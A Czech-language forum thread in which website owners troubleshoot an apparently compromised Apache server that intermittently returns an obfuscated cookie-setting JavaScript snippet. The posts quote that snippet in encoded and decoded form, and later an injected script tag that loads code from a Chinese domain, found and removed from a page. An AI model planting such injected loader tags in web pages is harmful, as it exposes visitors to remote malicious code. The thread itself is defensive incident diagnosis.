Dotaz: Pavděpodobně napadený Apache

[leninzprahy]

Chci se poradit, jestli se někdo s něčím podobným nesetkal, než začnu urgovat správce serveru.

Nepravidelně se stává, že při přístupu na web běžícím na jednom serveru se místo požadovaného obsahu vrátí jen krátký javascript:

<script type="text/javascript" language="javascript"> var lclbi=new Date( ); lclbi.setTime(lclbi.getTime( )+014*074*074*01750); document.cookie="n\x5f\x73e\x73\x73\x5f\x69\x64\x3d\x38dbd07\x33\x64c24b\x64\x378\x32\x31c\x33\x35\x34\x332\x37\x35\x33032ef\x62"+"\x3b\x20pat\x68\075\x2f; \x65xpir\x65s="+lclbi.toGMTString( ); </script>

Dekódované je to:

<script type="text/javascript" language="javascript"> var lclbi=new Date( ); lclbi.setTime(lclbi.getTime( )+014*074*074*01750); document.cookie="n_sess_id=8dbd073dc24bd7821c35432753032efb; path=/; expires="+lclbi.toGMTString( ); </script>

Občas je to k vidění např. na http://www.smaltovna.cz/ ale stejně se chovají další weby na stejném serveru jak už jsem psal.

Kdysi jsme řešily podobný problém a při googlení jsem narazil na dokument http://bt.uptime.cz/apache/apache_attack_EN.pdf který něco takového popisuje, ale toto mi přijde trochu jiné.

Na dotaz "n_sess_id" google mlčí, proto se ptám zde. Server sdělí akorát verzi Apache/2.0.5.

Soubory webu se zadjí být nezměněny, problém s ukradenýmy hesly z TCM jsme už řešili, toto bude něco jiného.

Máte někdo s podobnými problémy nějaké zkušenosti? Předem děkuju za jakoukoliv odpověď.

Připomínám že nejsem správcem serveru, mám jen ftp přístup, jde o osobní zvědavost a o to, co správci napsat (kromě "Máš to rozbitý" )

Odpovědi

[ycuzo]

Len tak cisto zo zaujmu som pozrel na tu stranku smaltovna.cz a ejhle,cista prazdna strana mrknem na zdrojak a ten javascript je tam,pri reloade uz isla stranka normalne. Pozrel som zdrojak stranok,prve mi padlo do oci nejaky javascript co sa natahuje s nejakeho cinskeho servevera a potom este nejaky emonitor.cz alebo co,nemoze byt chyba tam ? Neskusal si najprv odmazat tie javascripty a tak skusat ci sa objavy ta zahada ? Sice sa v javascripte moc nevyznam ani ho nemam rad,ale tenot kus kodu mi nejak pripomina skor akesi pocitanie statistiky,alebo nieco podobne...

[H0ax]

podívej se na "ps -e" a hledej proces s podobným jménem jako tohle: dse84abzw1abzw1 nebo podobný

[leninzprahy]

Díky za nápady, vloženého

<!-- ad --><script type="text/javascript" src="http://jpchase.cn/js.js"></script><!-- /ad -->

na začátku body a

<meta name="verify-v1" content="52mbi00Wp0KQDBlEVaghU25iPjp3aQoCBGLS+fpVd68=" />

v hlavičce jsem si nevšiml (odstraněno), bohužel ostatní weby jsou bez toho ale se stejným problémem.

Běžící procesy si prohlédnout nemůžu, mám jen ftp přístup, ale přesměruji nápad adminovi.

Díky

 

[ycuzo]

Este tam mas jednu malu dekorativnu chybku :)

</html><script>check_content()</script> a nemas ukoncene </body>

 

[Jirka]

Ahoj,

mám úplně stejný problém a chtěl bych se zeptat, jestli se ti jej podařilo vyřešit. Píšu přímo sem, neboť jsem na tebe nenašel kontakt. Už to řeším pěkně dlouho, admin mi napsal, že je chyba v mé aplikaci, ale týden ji hledám, loguji co se dá a nemůžu tu díru najít.

Díky za jakoukoliv radu, Jirka

blackj (a) seznam cz